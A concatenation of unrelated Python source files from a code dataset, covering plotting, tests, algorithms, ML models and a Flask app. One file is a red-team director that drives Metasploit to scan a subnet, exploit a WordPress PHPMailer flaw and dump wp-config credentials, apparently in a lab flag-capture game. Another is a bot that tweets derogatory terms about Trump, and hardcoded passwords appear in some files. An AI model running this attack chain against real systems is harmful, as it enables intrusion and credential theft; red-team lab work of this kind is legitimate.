argparse.ArgumentParser()\n parser.add_argument(\"file_name\", help=\"write name of json file\")\n json_data = load_data(parser.parse_args().file_name)\n pretty_print_json(json_data)\n","sub_path":"pprint_json.py","file_name":"pprint_json.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"627219758","text":"import pymysql\r\nimport bot\r\n\r\ndb = pymysql.connect(host = 'localhost',\r\n\t\t\t\t\tuser = 'dba',\r\n\t\t\t\t\tpassword = 'admin!00',\r\n\t\t\t\t\tdb = 'twitterbot')\r\ncursor = db.cursor()\r\n\r\ntry:\r\n\tsql = \"SELECT id, term FROM derog_term WHERE used = 0 LIMIT 1\"\r\n\tcursor.execute(sql)\r\n\tresults = cursor.fetchone()\r\n\tphrase = results[1]\r\n\tindex = results[0]\r\n\t#print(results)\r\n\t#print(phrase)\r\n\t#print(index)\r\n\tsql = \"UPDATE derog_term SET used = 1 where id = %s\"\r\n\t#print(sql)\r\n\tcursor.execute(sql, (index))\r\n\tdb.commit()\r\nexcept:\r\n print(\"Error: unable to fetch data\")\r\nif phrase != \"\":\r\n tweet = \"Daily description of Trump. \" + \"\\\"\" + phrase + \"\\\" \" + \"Can you make a sentence of this?\"\r\n #print(tweet)\r\n #print(len(tweet))\r\n bot.tweet(tweet)\r\ndb.close()","sub_path":"derogatory.py","file_name":"derogatory.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"451287142","text":"from nibabel.freesurfer.io import read_annot, read_geometry\nimport nibabel as nib\nfrom nilearn.surface import load_surf_data\nimport numpy as np\nimport os\nfrom Neuro_Plotting import data_dr as def_data_dr\n\n\ndef save_mapping(mapping, loc):\n \n with open(loc, 'w') as f:\n for m in mapping:\n f.write(str(m))\n f.write(',')\n f.write(str(mapping[m]))\n f.write('\\n')\n\ndef load_mapping(loc):\n\n mapping = {}\n\n with open(loc, 'r') as f:\n for line in f.readlines():\n line = line.split(',')\n mapping[line[0]] = line[1].rstrip()\n\n return mapping\n\ndef get_col_names(df):\n \n all_cols = list(df)\n\n for a in all_cols:\n try:\n df[a].astype('float')\n value_col = a\n except ValueError:\n name_col = a\n\n return name_col, value_col\n\ndef get_roi_dict(data, i_keys=[], d_keys=[]):\n \n '''If data is a df, with assume that the data is stored in two columns\n with name of ROI in one, and value in the other. Otherwise, if data is \n a dictionary, assume that it is already in name of ROI, value form.\n\n i_keys is a list of keys where all of the entries if any have to present\n in the name of the roi for it to be kept, d_keys is a list / single item\n where if any of the d_keys are present in an roi it will be dropped.\n '''\n \n if not isinstance(i_keys, list):\n i_keys = [i_keys]\n if not isinstance(d_keys, list):\n d_keys = [d_keys]\n \n # If not dict, assume pandas df with 2 columns\n if not isinstance(data, dict):\n\n as_dict = {}\n name_col, value_col = get_col_names(data)\n\n for i in data.index:\n name = data[name_col].loc[i]\n as_dict[name] = data[value_col].loc[i]\n\n data = as_dict\n\n spec_data = {}\n\n for name in data:\n if all([key in name for key in i_keys]) and not any([key in name for key in d_keys]):\n spec_data[name] = data[name]\n\n return spec_data\n\nclass Ref():\n \n def __init__(self, space, parc, data_dr='default'):\n \n self.space = space\n self.parc = parc\n\n if data_dr == 'default':\n data_dr = def_data_dr\n\n self.data_dr = data_dr\n \n self.load_mappings()\n self.load_ref()\n \n def load_mappings(self):\n\n map_loc = os.path.join(self.data_dr, 'mappings', self.parc + '.')\n\n try:\n self.mapping = load_mapping(map_loc + 'mapping.txt')\n self.label_2_int = load_mapping(map_loc + 'label_2_int.txt')\n except FileNotFoundError:\n self.mapping = None\n self.label_2_int = None\n \n def load_ref(self):\n pass\n \n def get_ref_vals(self, hemi=None):\n pass\n\n def key_transform(self, key):\n \n key = key.lower()\n key = key.replace('.', ' ')\n key = key.replace('-', ' ')\n key = key.replace('_', ' ')\n \n return key\n \n def get_plot_vals(self, data, hemi=None, i_keys=[], d_keys=[]):\n \n roi_dict = get_roi_dict(data, i_keys, d_keys)\n \n ref_vals = self.get_ref_vals(hemi)\n plot_vals = np.zeros(np.shape(ref_vals))\n\n for name in roi_dict:\n value = roi_dict[name]\n\n name = self.key_transform(name)\n\n # Apply the mapping\n for key in self.mapping:\n trans_key = self.key_transform(key)\n\n if trans_key in name:\n name = name.replace(trans_key, self.key_transform(self.mapping[key]))\n\n # Find the ind\n for label in self.label_2_int:\n trans_label = self.key_transform(label)\n\n if trans_label in name:\n ind = int(self.label_2_int[label])\n break\n else:\n print('Could not find ind for', name, 'are you using the right parc?')\n\n plot_vals = np.where(ref_vals == ind, value, plot_vals)\n\n return plot_vals\n\nclass SurfRef(Ref):\n \n def __init__(self, space='fsaverage5', parc='destr',\n data_dr='default', surf_mesh=None, bg_map=None):\n\n super().__init__(space, parc, data_dr)\n\n self.surf_mesh = surf_mesh\n self.bg_map = bg_map\n \n def load_ref(self):\n\n ref_loc = os.path.join(self.data_dr, self.space, 'label')\n\n lh_loc = os.path.join(ref_loc, 'lh.' + self.parc)\n if os.path.exists(lh_loc + '.annot'):\n self.lh_ref = read_annot(lh_loc + '.annot')[0]\n elif os.path.exists(lh_loc + '.gii'):\n self.lh_ref = load_surf_data(lh_loc + '.gii')\n elif os.path.exists(lh_loc + '.npy'):\n self.lh_ref = np.load(lh_loc + '.npy')\n\n rh_loc = os.path.join(ref_loc, 'rh.' + self.parc)\n if os.path.exists(rh_loc + '.annot'):\n self.rh_ref = read_annot(rh_loc + '.annot')[0]\n elif os.path.exists(rh_loc + '.gii'):\n self.rh_ref = load_surf_data(rh_loc + '.gii')\n elif os.path.exists(rh_loc + '.npy'):\n self.rh_ref = np.load(rh_loc + '.npy')\n\n def get_ref_vals(self, hemi):\n \n if hemi == 'lh' or hemi == 'left':\n ref_vals = self.lh_ref\n else:\n ref_vals = self.rh_ref\n \n return ref_vals\n \n def get_hemis_plot_vals(self, data, lh_key, rh_key, i_keys=[], d_keys=[]):\n \n lh_plot_vals = self.get_plot_vals(data, 'lh', i_keys+[lh_key], d_keys)\n rh_plot_vals = self.get_plot_vals(data, 'rh', i_keys+[rh_key], d_keys)\n \n return lh_plot_vals, rh_plot_vals\n \n def get_surf(self, name, hemi):\n \n if name is None:\n return None\n \n if hemi == 'left':\n hemi = 'lh'\n if hemi == 'right':\n hemi = 'rh'\n\n loc = os.path.join(self.data_dr, self.space, 'surf', hemi + '.' + name)\n\n if os.path.exists(loc):\n try:\n return read_geometry(loc)\n except ValueError:\n return load_surf_data(loc)\n \n else:\n surf = load_surf_data(loc + '.gii')\n if len(surf) == 2:\n surf = (surf[0], surf[1])\n return surf\n\nclass VolRef(Ref):\n \n def __init__(self, space='mni', parc='aparc', data_dr='default'):\n super().__init__(space, parc, data_dr)\n \n def load_ref(self):\n \n ref_loc = os.path.join(self.data_dr, self.space)\n ref_vol_raw = nib.load(os.path.join(ref_loc, self.parc + '.mgz'))\n self.ref_vol_affine = ref_vol_raw.affine\n self.ref_vol = ref_vol_raw.get_fdata()\n \n def get_ref_vals(self, hemi=None):\n return self.ref_vol\n \n def get_plot_vals(self, data, hemi=None, i_keys=[], d_keys=[]):\n \n plot_vals = super().get_plot_vals(data, hemi, i_keys, d_keys)\n return nib.Nifti1Image(plot_vals, self.ref_vol_affine)\n","sub_path":"Neuro_Plotting/Ref.py","file_name":"Ref.py","file_ext":"py","file_size_in_byte":6967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"610720232","text":"# $Header: /Vigilert/Tests/Bugs/longnames.py 5 11/02/01 4:53p Ryan $\r\n\r\n\r\nimport sys\r\nimport os\r\nfrom PyVAPI.vl import *\r\n\r\npath = os.environ['WORKINGDIR']+\"\\\\Vigilert\"\r\nsmoke = path+\"\\\\tests\\\\smoke\"\r\ntemp = os.environ['TEMP']+\"\\\\Vigilert\"\r\n\r\n\r\n\r\n#=========================================================\r\n# Test triggers, tables, datasources with very large names\r\n#---------------------------------------------------------\r\ndef gen(num, letter):\r\n name = \"\"\r\n for i in range(0, num):\r\n name = name + letter\r\n return name\r\n\r\nalength128 = gen(128, \"a\")\r\nalength129 = gen(129, \"a\")\r\nalength300 = gen(300, \"a\")\r\nblength128 = gen(128, \"b\")\r\nblength129 = gen(129, \"b\")\r\nblength300 = gen(300, \"b\")\r\n\r\nexectl(\"echo 'Informix table names can be no longer than 128 characters'\") \r\n\r\nexectl(\"echo 'A table with a name of length 128.'\")\r\nexecsql(\"create table \"+alength128+\"(ano int)\")\r\n\r\nexectl(\"echo 'A table with a name of length 129.'\")\r\nexecsql(\"create table \"+alength129+\"(ano int)\")\r\n\r\nexectl(\"echo 'A table with a name of length 300.'\")\r\nexecsql(\"create table \"+alength300+\"(ano int)\")\r\n\r\nexectl(\"echo 'A data source with a name of length 128'\")\r\nexectl(\"create data source \"+alength128)\r\n\r\n\r\nexectl(\"create trigger b from \"+alength128+\" when ano = 0 begin echo 'fire' end;\")\r\nexecsql(\"insert into \"+alength128+\" values(0)\")\r\nprocess_updates()\r\n\r\nexectl(\"echo 'A table and data source with normal name lengths'\")\r\nexecsql(\"create table table1(tno int)\")\r\nexectl(\"create data source table1\")\r\n\r\nexectl(\"echo 'A triggers name can be no longer than 128 characters'\")\r\n\r\nexectl(\"echo 'A trigger with a name of length 129'\")\r\nexectl(\"create trigger \"+blength129+\" from table1 when tno = 0 begin echo '129' end;\")\r\nexectl(\"echo 'A trigger with a name of length 300'\")\r\nexectl(\"create trigger \"+blength300+\" from table1 when tno = 0 begin echo '300' end;\")\r\nexectl(\"echo 'A trigger with a name of length 128'\")\r\nexectl(\"create trigger \"+blength128+\" from table1 when tno = 0 begin echo 'fire' end;\")\r\nexecsql(\"insert into table1 values(0)\")\r\nprocess_updates()\r\n\r\nexectl(\"drop all triggersets\")\r\nexectl(\"drop data source \"+alength128)\r\nexecsql(\"drop table \"+alength128)\r\nexectl(\"drop data source table1\")\r\nexecsql(\"drop table table1\")\r\n#=========================================================\r\n\r\n\r\n","sub_path":"VigilertTesting/Open Bug Scripts/longnames.py","file_name":"longnames.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"647185962","text":"# -*-coding:utf-8 -*-\n\n'''\nMerge Sorted Array\n\nGiven two sorted integer arrays A and B, merge B into A as one sorted array.\n\nNote:\nYou may assume that A has enough space (size that is greater or equal to m + n) to hold additional elements from B. The number of elements initialized in A and B are m and n respectively.\n'''\n\n\nclass Solution:\n # @param A a list of integers\n # @param m an integer, length of A\n # @param B a list of integers\n # @param n an integer, length of B\n # @return nothing\n\n def merge(self, A, m, B, n):\n i = 0\n j = 0\n while i < m and j < n:\n if A[i] <= B[j]:\n i = i + 1\n elif A[i] > B[j]:\n A.insert(i, B[j])\n m = m + 1\n i = i + 1\n j = j + 1\n\n if i < m:\n pass\n if j < n:\n while j < n:\n A.insert(i, B[j])\n m = m + 1\n i = i + 1\n j = j + 1\n\n return A\n\nif __name__ == \"__main__\":\n print(Solution().merge([1, 3, 5], 3, [2, 4, 6, 8], 4))\n","sub_path":"leetcode/MergeSortedArray.py","file_name":"MergeSortedArray.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"185159113","text":"\"\"\"Interface to the `pypmc` Markov Chain Monte Carlo package.\"\"\"\n\nimport numpy as np\nimport flavio\nimport pypmc\n\n\nclass pypmcScan(object):\n \"\"\"Interface to adaptive Markov Chain Monte Carlo using the `pypmc` package.\n\n Methods:\n - run: run the sampler\n - find_burnin: attempt to automatically determine the burn-in period by\n excluding points at the beginning of the chain with much worse likelihood\n than the end of the chain\n - result: get a flat array of the sampled points\n - save_result: save the result to a `.npy` file\n \"\"\"\n\n def __init__(self, fit, **kwargs):\n \"\"\"Initialize the pypmcScan instance.\n\n Parameters:\n\n - fit: an instance of `flavio.statistics.fits.BayesianFit`\n\n Additional keyword argumements will be passed to\n `markov_chain.AdaptiveMarkovChain`.\n \"\"\"\n\n assert isinstance(fit, flavio.statistics.fits.BayesianFit), \"PyPMC fit object must be an instance of BayesianFit\"\n self.fit = fit\n # start value is a random vector\n self.start = fit.get_random_start\n self.dimension = len(self.start)\n # for the initial proposal distribution, generate N random samples\n # and compute the covariance\n N = max(50, 2*self.dimension)\n _initial_covariance = np.cov(np.array([fit.get_random for i in range(N)]).T)\n try:\n self._initial_proposal = pypmc.density.gauss.LocalGauss(_initial_covariance)\n except:\n # if this fails for some reason, discard the correlation\n self._initial_proposal = pypmc.density.gauss.LocalGauss(\n np.eye(self.dimension)*np.diag(_initial_covariance))\n\n self.mc = pypmc.sampler.markov_chain.AdaptiveMarkovChain(target=self.fit.log_target,\n proposal=self._initial_proposal,\n start=self.start,\n save_target_values=True,\n **kwargs)\n\n def run(self, steps, burnin=1000, adapt=500):\n \"\"\"Run the sampler.\n\n Parameters:\n\n - steps: number of steps per walker\n - burnin (optional): number of steps for burn-in (samples will not be\n retained); defaults to 1000\n - adapt (optional): number of steps after which to adapt the proposal\n distribution. Defaults to 500.\n \"\"\"\n done = 0\n self.mc.run( burnin )\n self.mc.clear()\n while done < steps:\n todo = min(steps-done, adapt)\n accepted = self.mc.run( todo )\n done += todo\n self.mc.adapt()\n\n @property\n def find_burnin(self):\n \"\"\"Return the index of the first sample that has a log-likelihood\n bigger than the mean minus three standard deviations of the distribution\n of log-likelihoods in the last 10% of the chain.\"\"\"\n target = self.mc.target_values[:] # this contains all log likelihood values of the chain\n target_end = target[-len(target)//10:] # take the last 10% of the chain\n target_end_mn = np.mean(target_end) # mean of the last 10%\n target_end_std = np.std(target_end) # std. deviation of the last 10%\n # find the index of the first entry where the log likelihood is greater\n # than the mean of the last 10% - 3 standard deviations\n first_good = np.argmax(target > target_end_mn - 3*target_end_std)\n return first_good\n\n @property\n def result(self):\n \"\"\"Return an array of the samples obtained, where points with low\n likelihood at the beginning of the chain have been omitted (using the\n `find_burnin` method).\"\"\"\n return self.mc.samples[:][self.find_burnin:]\n\n def save_result(self, file):\n \"\"\"Save the samples obtained to a `.npy` file.\"\"\"\n res = self.result\n np.save(file, res)\n","sub_path":"flavio/statistics/fitters/pypmc.py","file_name":"pypmc.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"273654272","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nfrom wemake_python_styleguide.violations.complexity import (\n TooManyBaseClassesViolation,\n)\nfrom wemake_python_styleguide.visitors.ast.classes import WrongClassVisitor\n\ncorrect_count = \"\"\"\nclass CorrectClassName(\n FirstParentClass,\n SecondParentClass,\n ThirdParentClass,\n): ...\n\"\"\"\n\n\n@pytest.mark.parametrize('code', [\n correct_count,\n])\ndef test_correct_count(\n assert_errors, parse_ast_tree, code, default_options,\n):\n \"\"\"Testing of correct base classes number.\"\"\"\n tree = parse_ast_tree(code)\n\n visitor = WrongClassVisitor(default_options, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [])\n\n\ntoo_many_count = \"\"\"\nclass SomeClassName(\n FirstParentClass,\n SecondParentClass,\n ThirdParentClass,\n CustomClass,\n AddedClass,\n): ...\n\"\"\"\n\n\n@pytest.mark.parametrize('code', [\n too_many_count,\n])\ndef test_bad_number_default_option(\n assert_errors, parse_ast_tree, code, default_options,\n):\n \"\"\"Testing of base classes number with default options.\"\"\"\n tree = parse_ast_tree(code)\n\n visitor = WrongClassVisitor(default_options, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [TooManyBaseClassesViolation])\n\n\n@pytest.mark.parametrize('code', [\n too_many_count,\n correct_count,\n])\ndef test_bad_number_custom_option(\n assert_errors, parse_ast_tree, code, options,\n):\n \"\"\"Testing of base classes number with custom options.\"\"\"\n tree = parse_ast_tree(code)\n\n options = options(max_base_classes=5)\n visitor = WrongClassVisitor(options, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [])\n","sub_path":"tests/test_visitors/test_ast/test_complexity/test_counts/test_bases_classes_counts.py","file_name":"test_bases_classes_counts.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"85742448","text":"# -*- coding: utf-8 -*-\n\"\"\"\nRed Team Director\n\"\"\"\n\nimport sys\nfrom time import sleep\nimport json\n\nfrom .workers import MsfRpcWorker\n# from .actionsold import ExecuteExploitAction\n# from .actions import ExecuteSessionCommandAction\nfrom .actions import Action\nfrom .errors import ActionExecutionError\nfrom .errors import ActionTimeoutError\nfrom .tactics import DumpWordpressConfigTechnique\nfrom .tactics import WordpressPhpmailerHostHeaderExploitation\nfrom .tactics import SimpleNetworkServiceScanningTechnique\nfrom .tactics import NmapNetworkServiceScanningTechnique\n\n\n# _appconfig = None\n# _msfrpc_hosts = None\n# _log_director = None\n_workers = {}\n_exit = False\n\n# enumerate_network = Action(\n# phase=1,\n# name='Enumerate network',\n# technique=PingNetworkServiceScanningTechnique(),\n# targets=['172.19.0.7/29'],\n# goals={\n# 'goals': [\n# {\n# 'name': 'any-host-discovered',\n# 'assert_host': {\n# 'host': '@NOTNULL@',\n# }\n# }\n# ]\n# }\n# )\ndiscover_webapps = Action(\n phase=1,\n name='Discover web apps',\n technique=NmapNetworkServiceScanningTechnique(scan_type='S', stealthiness=0),\n targets=['172.19.0.7/29'],\n timeout=600,\n goals={\n 'goals': [\n {\n 'name': 'services-http',\n 'assert_service': {\n 'port': 80,\n }\n },\n {\n 'name': 'services-https',\n 'assert_service': {\n 'port': 443,\n }\n },\n ]\n }\n)\nwordpress_exploit = Action(\n phase=4,\n name='Exploit Wordpress vulnerability',\n technique=WordpressPhpmailerHostHeaderExploitation(),\n targets=['172.19.0.7'],\n timeout=90,\n goals={\n 'goals': [\n {\n 'name': 'wordpress-session',\n 'assert_session': {\n 'target_host': '@TARGET@',\n }\n }\n ]\n }\n)\nwordpress_dump_config = Action(\n phase=6,\n name='Dump Wordpress credentials',\n technique=DumpWordpressConfigTechnique(),\n timeout=180,\n targets_query={\n 'session': {\n 'target_host': '172.19.0.7',\n }\n },\n goals={\n 'goals': [\n {\n 'name': 'wordpress-db-creds',\n 'assert_loot': {\n 'host': '@TARGET@',\n 'ltype': 'linux.enum.conf',\n 'name': 'wp-config.php',\n }\n }\n ]\n }\n)\n\n\ndef main(appconfig, msfrpc_hosts):\n \"\"\"Main entry point allowing external calls\n Args:\n args ([str]): command line parameter list\n \"\"\"\n global _appconfig, _msfrpc_hosts, _log_director\n _appconfig = appconfig\n _msfrpc_hosts = msfrpc_hosts\n _log_director = _appconfig.log_director\n _log_director.debug(\"Starting Director...\")\n bootstrap_workers()\n _appconfig.event_dispatcher.send(\n signal='operations',\n sender=__name__,\n msg='Game started',\n obj={}\n )\n while not _exit:\n loop()\n _log_director.info(\"Director shutdown complete\")\n\n\ndef bootstrap_workers():\n \"\"\"Configure initial set of workers from environment\n \"\"\"\n for host in _msfrpc_hosts:\n worker = MsfRpcWorker(\n # XXX load config from environment\n host=host.split(':')[0],\n port=int(host.split(':')[-1]) if ':' in host else 55553,\n username='director',\n password='directorU123',\n ssl=False,\n appconfig=_appconfig\n )\n _workers[worker.uid] = worker\n worker.client()\n _log_director.debug('Worker connection test succeeded')\n\n\ndef loop():\n \"\"\"Event loop\n \"\"\"\n for id, worker in _workers.items():\n _log_director.debug('Processing worker {}'.format(id))\n # print(worker.client().call('db.loots', opts=[{}]))\n action = plan_next_action(worker)\n execute_action(worker, action)\n report(worker)\n turn_sleep(_appconfig.turn_sleep)\n\n\ndef plan_next_action(worker):\n # flag = _appconfig.targets['wordpress_db_password']\n # if flag['flag_value']:\n # _log_director(f'The flag has been captured')\n # _log_director(json.dumps(flag))\n # sys.exit(0)\n\n # XXX we need a tree here instead of this hardcoded path\n # return wordpress_exploit\n if wordpress_dump_config.verify_goals(worker):\n print('\\n\\n******************\\n\\nFLAG CAPTURED\\n\\n******************\\n')\n sys.exit(0)\n elif wordpress_exploit.verify_goals(worker):\n return wordpress_dump_config\n elif discover_webapps.verify_goals(worker):\n return wordpress_exploit\n else:\n return discover_webapps\n \n\n\ndef execute_action(worker, action):\n _log_director.info(f'\\n\\n\\n\\n\\n\\n==============================================================================')\n _log_director.info(f'Executing action {action}...')\n try:\n action.execute(worker)\n _log_director.info(f'Action outcome for {action}: {action.verify_goals(worker)}')\n except ActionExecutionError:\n _log_director.warning('Failed to execute exploit action')\n except ActionTimeoutError:\n _log_director.warning('Action timed out')\n\n\ndef report(worker):\n # _log_director.info('Report')\n pass\n\n\ndef turn_sleep(seconds):\n _log_director.info('Waiting %s seconds...', seconds)\n sleep(seconds)\n","sub_path":"src/director/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"289353787","text":"import sys\nimport os.path\nfrom random import randint\n\n# import GameLibrary which is located in the source control too\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), \"..\", \"..\"))\nfrom GameLibrary.src.textures import *\nfrom GameLibrary.src.sprite import *\nfrom GameLibrary.src.game import *\nfrom GameLibrary.src.text import *\n\nfrom smurf import Smurf\n\n\nclass PySDL2Test():\n\n\tdef __init__(self):\n\t\tself.game = None\n\t\t\n\t\tself.window_width = 720\n\t\tself.window_height = 450\n\t\tself.current_directory = os.path.dirname(os.path.realpath(__file__))\n\t\t\n\t\tself.texture_store = None\n\t\t\n\t\tself.smurfs = []\n\t\tself.hello_world = None\n\t\t\n\t\t\n\tdef run(self):\n\t\t\n\n\t\tself.game = Game(\"PySDL2Test\", self.window_width, self.window_height)\n\t\t\n\t\tself.texture_store = TexturesStore(self.game.renderer, self.current_directory)\n\t\tself.texture_store.load_texture(\"smurf\", \"images/smurf_sprite.png\", 128, 128, 4, 4)\n\n\t\tsmurfs_count = 2\n\n\t\tfor i in range(0, smurfs_count):\n\t\t\ts = Smurf(self.game.renderer, self.texture_store.get(\"smurf\"), self.window_width, self.window_height)\n\t\t\ts.set_pos(\n\t\t\t\trandint(0, self.window_width - self.texture_store.get(\"smurf\").rects[0].w),\n\t\t\t\trandint(0, self.window_height - self.texture_store.get(\"smurf\").rects[0].h)\n\t\t\t\t)\n\t\t\tself.smurfs.append(s)\n\n\n\t\tself.hello_world = Text(self.game.renderer, self.current_directory, \"fonts/CaviarDreams.ttf\", 24, \"Hello World !\", SDL_Color(255, 255, 255), SDL_Color(0, 0, 0))\n\t\tself.hello_world.set_pos(200, 200);\n\n\t\tself.game.loop(self.process, self.render, self.event, self.before_quit)\n\n\n\tdef process(self, delta_time):\n\t\tself.hello_world.process(delta_time)\n\t\tfor x in self.smurfs:\n\t\t\tx.process(delta_time)\n\n\tdef render(self):\n\t\tself.hello_world.render()\n\t\tfor x in self.smurfs:\n\t\t\tx.render()\t\n\n\t#\n\t# Each processed event should return, we will process the following events on next loop in order to not slowdown the rendering framerate\n\t#\n\tdef event(self, evt):\n\t\tif evt.type == SDL_QUIT:\n\t\t\tself.game.quit()\n\t\t\treturn True\n\t\telif evt.type == SDL_KEYDOWN:\n\t\t\tif evt.key.keysym.sym == SDLK_ESCAPE:\n\t\t\t\tself.game.quit()\n\t\t\t\treturn True\n\t\t\tif evt.key.keysym.sym == SDLK_UP:\n\t\t\t\ts = Smurf(self.game.renderer, self.texture_store.get(\"smurf\"), self.window_width, self.window_height)\n\t\t\t\ts.set_pos(\n\t\t\t\t\trandint(0, self.window_width - self.texture_store.get(\"smurf\").rects[0].w),\n\t\t\t\t\trandint(0, self.window_height - self.texture_store.get(\"smurf\").rects[0].h)\n\t\t\t\t\t)\n\t\t\t\tself.smurfs.append(s)\n\t\t\tif evt.key.keysym.sym == SDLK_DOWN:\n\t\t\t\tself.game.toggle_fullscreen()\n\t\telif evt.type == SDL_MOUSEMOTION:\n\t\t\t#print(\"Mouse motion x:%s y:%s xrel:%s yrel:%s\" % (evt.motion.x, evt.motion.y, evt.motion.xrel, evt.motion.yrel))\n\t\t\tpass\n\t\telif evt.type == SDL_MOUSEBUTTONDOWN or evt.type == SDL_MOUSEBUTTONUP:\n\t\t\t#print(\"Mouse button:%s state:%s x:%s y:%s\" %(evt.button.button, evt.button.state, evt.button.x, evt.button.y))\n\t\t\tpass\n\t\t\t\n\tdef before_quit(self):\n\t\tself.texture_store.unload()\n\n\n\nif __name__ == \"__main__\":\n\tpySDL2Test = PySDL2Test()\n\tpySDL2Test.run()","sub_path":"training/PySDL2.py","file_name":"PySDL2.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"221076952","text":"import db as db\nfrom flask import Flask, render_template, json, request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n records = db.get_all_records()\n rets = []\n for item in records:\n rets.append(item)\n item[\"len\"] = len(item) - 1\n return render_template(\"index.html\", records=rets)\n\n\n@app.route('/add')\ndef add():\n return render_template(\"add.html\")\n\n\n@app.route(\"/add_new_records\", methods=[\"POST\"])\ndef add_new_records():\n record = json.loads(request.form[\"data\"])\n db.insert_new_one(record)\n return \"success\"\n\n\n@app.route(\"/\")\ndef get_one(id):\n record = db.find_one(id)\n return render_template(\"record.html\", record=record)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"643593675","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nimport sys\n\nfrom torch.autograd import Variable\nsys.path.append('./')\nimport config\n\nnetwork = config.network()\n\n\nclass SiamRPNBIG(nn.Module):\n def __init__(self,\n feat_in=network.feature_in,\n feature_out=network.feature_out,\n anchor=network.anchor_num,\n score_size_h=network.score_size_h,\n score_size_w=network.score_size_w):\n super(SiamRPNBIG, self).__init__()\n self.anchor = anchor\n self.feature_out = feature_out\n self.featureExtract = nn.Sequential(\n nn.Conv2d(3, 192, 11, stride=2),\n nn.BatchNorm2d(192),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(3, stride=2),\n nn.Conv2d(192, 512, 5),\n nn.BatchNorm2d(512),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(3, stride=2),\n nn.Conv2d(512, 768, 3),\n nn.BatchNorm2d(768),\n nn.ReLU(inplace=True),\n nn.Conv2d(768, 768, 3),\n nn.BatchNorm2d(768),\n nn.ReLU(inplace=True),\n nn.Conv2d(768, 512, 3),\n nn.BatchNorm2d(512),\n )\n self.conv_r1 = nn.Conv2d(feat_in, feature_out * 4 * anchor, 3)\n self.conv_r2 = nn.Conv2d(feat_in, feature_out, 3)\n self.conv_cls1 = nn.Conv2d(feat_in, feature_out * 2 * anchor, 3)\n self.conv_cls2 = nn.Conv2d(feat_in, feature_out, 3)\n self.regress_adjust = nn.Conv2d(4 * anchor, 4 * anchor, 1)\n\n self.r1_kernel = []\n self.cls1_kernel = []\n self.batch_size = 0\n self.score_size_h = score_size_h\n self.score_size_w = score_size_w\n\n def forward(self, z, x):\n\n # Update template\n z_f = self.featureExtract(z)\n r1_kernel_raw = self.conv_r1(z_f)\n cls1_kernel_raw = self.conv_cls1(z_f)\n kernel_size = r1_kernel_raw.data.size()[-1]\n # [batch_size,4*k,512,k,k]\n self.r1_kernel = r1_kernel_raw.view(\n -1, self.anchor * 4, self.feature_out, kernel_size, kernel_size)\n # [batch_size,2*k,512,k,k]\n self.cls1_kernel = cls1_kernel_raw.view(\n -1, self.anchor * 2, self.feature_out, kernel_size, kernel_size)\n self.batch_size = self.r1_kernel.size()[0]\n\n # detection\n x_f = self.featureExtract(x)\n r_feature = self.conv_r2(x_f)\n cls_feature = self.conv_cls2(x_f)\n\n r_result = torch.zeros(\n self.batch_size,\n self.anchor * 4,\n self.score_size_h,\n self.score_size_w,\n requires_grad=True).cuda()\n cls_result = torch.zeros(\n self.batch_size,\n self.anchor * 2,\n self.score_size_h,\n self.score_size_w,\n requires_grad=True).cuda()\n\n for i in range(self.batch_size):\n r_result[i, :, :, :] = F.conv2d(r_feature[i, :, :, :].unsqueeze(0),\n self.r1_kernel[i, :, :, :, :])\n cls_result[i, :, :, :] = F.conv2d(\n cls_feature[i, :, :, :].unsqueeze(0),\n self.cls1_kernel[i, :, :, :, :])\n # r_result: [batch_size,4*k,h,w]\n # cls_result: [batch_size,2*k,h,w]\n return self.regress_adjust(r_result), cls_result\n","sub_path":"models/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"644453132","text":"#modified notebook to run graph comparison as a function\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport scipy.stats as sts\r\nfrom math import sqrt\r\n\r\nmu = 15\r\nsigma = 15\r\nnormal = sts.norm(loc=mu, scale=sigma)\r\nmaxwell = sts.maxwell(loc=mu, scale=sigma)\r\n\r\nx1 = np.linspace(-50, 80, 1000)\r\npdf1 = normal.pdf(x1)\r\n\r\nx2 = np.linspace(-50, 80, 1000)\r\npdf2 = maxwell.pdf(x2)\r\n\r\nplt.plot(x1, pdf1, label='norm')\r\nplt.plot(x2, pdf2, label='maxwell')\r\nplt.ylabel('pdf')\r\nplt.xlabel('x')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n#MAXWELL 5, 15, 125, 625\r\ndef build_graph(mu, sigma, n):\r\n maxwell = sts.maxwell(loc=mu, scale=sigma)\r\n 